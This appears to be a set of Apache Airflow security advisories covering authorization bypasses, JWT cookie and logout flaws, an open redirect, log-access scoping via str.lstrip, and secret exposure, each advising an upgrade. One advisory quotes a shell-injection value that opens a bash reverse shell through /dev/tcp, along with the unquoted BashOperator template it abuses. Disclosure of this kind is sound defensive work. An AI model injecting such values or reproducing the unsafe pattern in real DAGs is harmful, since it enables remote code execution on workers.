The structuredata endpoint in the Airflow UI returned external dependency graph nodes for linked Dags without checking whether the caller had read permission on those linked Dags. An authenticated UI/API user authorized for one Dag could enumerate linked Dag IDs and dependency metadata for other Dags they were not authorized to read. Affects deployments that rely on per-Dag read scoping to keep Dag dependency topology private across teams. Users are advised to upgrade to apache-airflow 3.2.2 or later.

Apache Airflow's JWTRefreshMiddleware set the JWT auth cookie without the Secure flag, so deployments running the Airflow API server behind an HTTPS-terminating reverse proxy (e.g. nginx / Envoy / a managed load balancer that terminates TLS and forwards plaintext to the API server, the default cloud-native topology) would have the user's session JWT replayed over any cleartext HTTP request to the same host. A network-positioned attacker (Wi-Fi MITM, hostile LAN, captive-portal proxy) could induce a logged-in user's browser to issue an HTTP request to the deployment's hostname and capture the JWT cookie out of that request, then replay it against the authenticated API. Affects deployments where the Airflow API server is reached through a TLS-terminating proxy and the cookie's secure-by-default protection is load-bearing for session integrity. Users are advised to upgrade to apache-airflow 3.2.2 or later.

A bug in the login redirect route in Apache Airflow allowed authenticated users to craft URLs that bypassed the issafeurl check, enabling redirection from a trusted Airflow domain to an attacker-controlled origin. Users are advised to upgrade to apache-airflow 3.2.2 or later. As a defense-in-depth mitigation, deployment operators can place Airflow behind a reverse proxy that strips off-domain next= query parameters before they reach the login endpoint.

Apache Airflow's official documentation at core-concepts/dag-run.html ("Passing Parameters when triggering Dags") showed a verbatim BashOperator(bashcommand="echo value: {{ dagrun.conf['conf1'] }}") example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had Dag.cantrigger permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the conf field of the trigger API: an authenticated trigger user could supply "; bash -i >& /dev/tcp/.../9999 0>&1; #" as a conf value and reach an os.exec on the worker. This CVE covers the documentation correction in apache/airflow PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to apache-airflow 3.2.2 or later to pick up the corrected documentation shipped with the release.

Exploitation requires the attacker to already be an authenticated Airflow worker holding a valid Log-server JWT issued for at least one Dag. Apache Airflow's Log server authorized JWT tokens against Dag IDs by applying Python's str.lstrip() to the requested path segment when verifying the JWT's sub claim. str.lstrip() strips any of a set of characters from the left (not a prefix), so a JWT issued for a Dag named e.g. daga would authorize log access to any other Dag whose name began with any subset of the characters {d, a, g, } (e.g. dagattacker, aaaatarget, dagsecret). Such an authenticated worker could enumerate and read worker logs of other Dags whose names happened to share that character-class prefix, leaking task output and error traces beyond the documented per-Dag isolation boundary. Affects deployments relying on per-Dag log-access scoping (multi-team, shared-executor, shared-worker topologies). Users are advised to upgrade to apache-airflow 3.2.2 or later.

Secrets in Variables saved as JSON dictionaries were not properly redacted - in case the variables were retrieved by the user the secrets stored as nested fields were not masked.

If developers do not store variables with sensitive values in JSON form, their projects are not affected. Otherwise upgrade to the fixed version, Apache Airflow 3.2.0.

UI / API User with asset materialize permission could trigger dags they had no access to. Users are advised to migrate to Airflow version 3.2.0 that fixes the issue.

JWT Tokens used by tasks were exposed in logs. This could allow UI users to act as Dag Authors. Users are advised to upgrade to Airflow version that contains fix.

Users are recommended to upgrade to version 3.2.0, which fixes this issue.

Before Airflow 3.2.0, it was unclear that secure Airflow deployments require the Deployment Manager to take appropriate actions and pay attention to security details and security model of Airflow. Some assumptions the Deployment Manager could make were not clear or explicit enough, even though Airflow's intentions and security model of Airflow did not suggest different assumptions. The overall security model [1], workload isolation [2], and JWT authentication details [3] are now described in more detail. Users concerned with role isolation and following the Airflow security model of Airflow are advised to upgrade to Airflow 3.2, where several security improvements have been implemented. They should also read and follow the relevant documents to make sure that their deployment is secure enough. It also clarifies that the Deployment Manager is ultimately responsible for securing your Airflow deployment. This had also been communicated via Airflow 3.2.0 Blog announcement [4].

[1] Security Model: https://airflow.apache.org/docs/apache-airflow/stable/security/jwttokenauthentication.html [2] Workload isolation: https://airflow.apache.org/docs/apache-airflow/stable/security/workload.html [3] JWT Token authentication: https://airflow.apache.org/docs/apache-airflow/stable/security/jwttokenauthentication.html [4] Airflow 3.2.0 Blog announcement: https://airflow.apache.org/blog/airflow-3.2.0/

Users are recommended to upgrade to version 3.2.0, which fixes this issue.

When user logged out, the JWT token the user had authtenticated with was not invalidated, which could lead to reuse of that token in case it was intercepted. In Airflow 3.2 we implemented the mechanism that implements token invalidation at logout. Users who are concerned about the logout scenario and possibility of intercepting the tokens, should upgrade to Airflow 3.2+

Users are recommended to upgrade to version 3.2.0, which fixes this issue.

Apache Airflow versions 3.0.0 through 3.1.8 DagRun wait endpoint returns XCom result values even to users who only have DAG Run read permissions, such as the Viewer role.This behavior conflicts with the FAB RBAC model, which treats XCom as a separate protected resource, and with the security model documentation that defines the Viewer role as read-only.

Airflow uses the FAB Auth Manager to manage access control on a per-resource basis. The Viewer role is intended to be read-only by default, and the security model documentation defines Viewer users as those who can inspect DAGs without accessing sensitive execution results.

Users are recommended to upgrade to Apache Airflow 3.2.0 which resolves this issue.

Apache Airflow versions 3.1.0 through 3.1.7 session token (token) in cookies is set to path=/ regardless of the configured [webserver] baseurl or [api] baseurl. This allows any application co-hosted under the same domain to capture valid Airflow session tokens from HTTP request headers, allowing full session takeover without attacking Airflow itself.

Users are recommended to upgrade to Apache Airflow 3.1.8 or later, which resolves this issue.

Apache Airflow versions 3.1.0 through 3.1.7 /ui/dependencies endpoint returns the full DAG dependency graph without filtering by authorized DAG IDs. This allows an authenticated user with only DAG Dependencies permission to enumerate DAGs they are not authorized to view.

Users are recommended to upgrade to Apache Airflow 3.1.8 or later, which resolves this issue.

Apache Airflow versions 3.0.0 through 3.1.7 FastAPI DagVersion listing API does not apply per-DAG authorization filtering when the request is made with dagid set to "~" (wildcard for all DAGs). As a result, version metadata of DAGs that the requester is not authorized to access is returned.

Users are recommended to upgrade to Apache Airflow 3.1.8 or later, which resolves this issue.

Impact

Exposure of Sensitive Information:

An information disclosure vulnerability exists in the Apache Airflow UI that allows authenticated users to view Import Errors for DAGs they are not authorized to access.

In affected versions, the Import Errors view does not correctly filter errors based on granular DAG permissions. This means a user with access to only DAGA can view import errors generated by DAGB, DAGC, or system-level DAGs. These error logs often contain file paths, code snippets, or stack traces that reveal the internal structure and logic of restricted DAGs.

Patches

Users should upgrade to Apache Airflow 3.1.7 or later. This version strictly enforces DAG-level permissions on the Import Errors view.

Workarounds

There are no known workarounds other than upgrading.

Resources

CVE-2026-24098 Pull Request #60801 Mailing List Announcement

When a DAG failed during parsing, Airflow’s error-reporting in the UI could include the full kwargs passed to the operators. If those kwargs contained sensitive values (such as secrets), they might be exposed in the UI tracebacks to authenticated users who had permission to view that DAG.

The issue has been fixed in Airflow 3.1.4 and 2.11.1, and users are strongly advised to upgrade to prevent potential disclosure of sensitive information.

API users via /api/v2/dagReports could perform Dag code execution in the context of the api-server if the api-server was deployed in the environment where Dag files were available.

An example dag exampledagdecorator had non-validated parameter that allowed the UI user to redirect the example to a malicious server and execute code on worker. This however required that the example dags are enabled in production (not default) or the example dag code copied to build your own similar dag. If you used the exampledagdecorator please review it and apply the changes implemented in Airflow 3.0.5 accordingly.